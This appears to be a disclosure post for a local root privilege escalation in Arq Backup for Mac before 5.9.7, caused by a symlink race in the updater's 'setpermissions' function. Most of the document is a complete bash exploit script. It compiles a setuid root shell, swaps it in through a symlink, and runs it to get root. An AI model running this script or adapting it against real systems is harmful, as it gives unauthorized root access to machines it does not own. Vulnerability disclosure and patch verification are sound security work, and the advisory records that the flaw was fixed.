Arq Backup from Haystack Software is a great application for backing up macs and
windows machines. Unfortunately versions of Arq for mac before 5.9.7 are
vulnerable to a local root privilege escalation exploit.

The updater binary has a "setpermissions" function which sets the suid bit and
root ownership on itself but it suffers from a race condition that allows you to
swap the destination for these privileges using a symlink.

We can exploit this to get +s and root ownership on any arbitrary binary.

Other binaries in the application also suffer from the same issue.

This was fixed in Arq 5.9.7.

https://m4.rkw.io/arq_5.9.6.sh.txt
49cc82df33a3e23245c7a1659cc74c0e554d5fdbe2547ac14e838338e823956d
------------------------------------------------------------------------------
#!/bin/bash

##################################################################
###### Arq <= 5.9.6 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html                 ####
##################################################################

vuln=`ls -la /Applications/Arq.app/Contents/Library/LoginItems/\
Arq\ Agent.app/Contents/Resources/arq_updater |grep 'rwsr-xr-x' \
|grep root`

cwd="`pwd`"

if [ "$vuln" == "" ] ; then
  echo "Not vulnerable - auto-updates not enabled."
  exit 1
fi

cat > arq_596_exp.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl(
    "/bin/bash","bash","-c","rm -f $cwd/arq_updater;/bin/bash",
    NULL
  );
  return 0;
}
EOF

gcc -o arq_596_exp arq_596_exp.c
rm -f arq_596_exp.c

ln -s /Applications/Arq.app/Contents/Library/LoginItems/\
Arq\ Agent.app/Contents/Resources/arq_updater

./arq_updater setpermissions &>/dev/null&
rm -f ./arq_updater
mv arq_596_exp ./arq_updater

i=0
timeout=10

while :
do
  r=`ls -la ./arq_updater |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
  i=$((i+1))
  if [ $i -eq $timeout ] ; then
    rm -f ./arq_updater
    echo "Not vulnerable"
    exit 1
  fi
done

./arq_updater